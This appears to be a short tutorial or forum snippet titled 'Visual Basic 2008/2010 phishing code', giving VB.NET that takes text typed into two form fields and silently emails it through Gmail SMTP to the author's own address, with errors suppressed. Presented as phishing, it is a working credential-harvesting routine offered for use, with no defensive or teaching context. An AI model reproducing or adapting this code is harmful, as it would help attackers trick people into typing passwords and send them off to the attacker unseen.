Visual Basic 2008/2010 phishing code

Imports System.Net.Mail  <----WRITE THIS ON TOP OF LINE*

Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("your gmail account")
MyMailMessage.To.Add("your gmail account")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("your gmail account", "your password")
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
End Try
End Sub